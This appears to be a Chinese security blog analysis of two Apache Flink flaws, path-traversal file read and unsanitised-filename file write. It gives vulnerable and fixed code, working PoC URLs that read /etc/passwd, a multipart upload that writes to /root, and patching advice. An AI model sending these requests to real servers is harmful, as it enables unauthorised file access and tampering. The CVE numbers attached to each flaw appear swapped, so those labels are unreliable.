Flink 任意文件读取和写入
字数 935 2025-08-18 11:35:59
Apache Flink 任意文件读取和写入漏洞分析
一、漏洞概述
Apache Flink 存在两个高危漏洞:
- CVE-2020-17518 - 任意文件读取漏洞
- CVE-2020-17519 - 任意文件写入漏洞
这两个漏洞都存在于Flink的Web界面中,攻击者可以通过构造特殊请求实现对服务器文件系统的非法访问。
二、漏洞分析
1. 任意文件读取漏洞 (CVE-2020-17518)
漏洞位置:JobManagerCustomLogHandler类
漏洞原因:
- 处理日志文件请求时,直接从请求路径参数获取文件名
- 未对文件名进行规范化处理,导致目录遍历攻击可能
关键代码对比:
// 漏洞代码
String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
// 修复代码
String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
攻击方式:
通过构造包含../的路径,可以读取服务器上的任意文件
利用POC:
http://target:8081/v1/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd
http://target:8081/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd
2. 任意文件写入漏洞 (CVE-2020-17519)
漏洞位置:FileUploadHandler类
漏洞原因:
- 文件上传处理逻辑中,直接使用用户提供的文件名
- 未对目标路径进行限制,导致可以写入任意位置
关键代码:
DiskFileUpload fileUpload = (DiskFileUpload)data;
Preconditions.checkState(fileUpload.isCompleted());
Path dest = this.currentUploadDir.resolve(fileUpload.getFilename());
fileUpload.renameTo(dest.toFile());
攻击方式:
通过构造包含路径的文件名,可以将上传的文件移动到服务器上的任意位置
利用POC:
POST /test HTTP/1.1
Host: target:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryw6W3L7dPchtqPO4f
------WebKitFormBoundaryw6W3L7dPchtqPO4f
Content-Disposition: form-data; name="xxxx"; filename="/root/test123"
Content-Type: application/octet-stream
test123
------WebKitFormBoundaryw6W3L7dPchtqPO4f--
三、环境搭建与调试
1. 环境准备
- 下载Apache Flink安装包
- 修改配置文件
conf/flink-conf.yaml,添加调试参数:env.java.opts.jobmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8006" - 使用IntelliJ IDEA配置远程调试
2. 路由信息获取
- 访问Flink Web UI (http://ip:8081)
- 通过触发错误获取路由信息(如上传非jar文件)
- 在
org.apache.flink.runtime.webmonitor.handlers.JarUploadHandler设置断点
四、漏洞验证
1. 任意文件读取验证
- 构造包含路径遍历的URL
- 观察是否能够读取到目标文件内容
2. 任意文件写入验证
- 构造包含绝对路径的文件上传请求
- 检查目标路径是否创建了指定文件
五、修复建议
- 升级到已修复版本
- 临时缓解措施:
- 限制对Flink Web界面的访问
- 使用Web应用防火墙(WAF)拦截恶意请求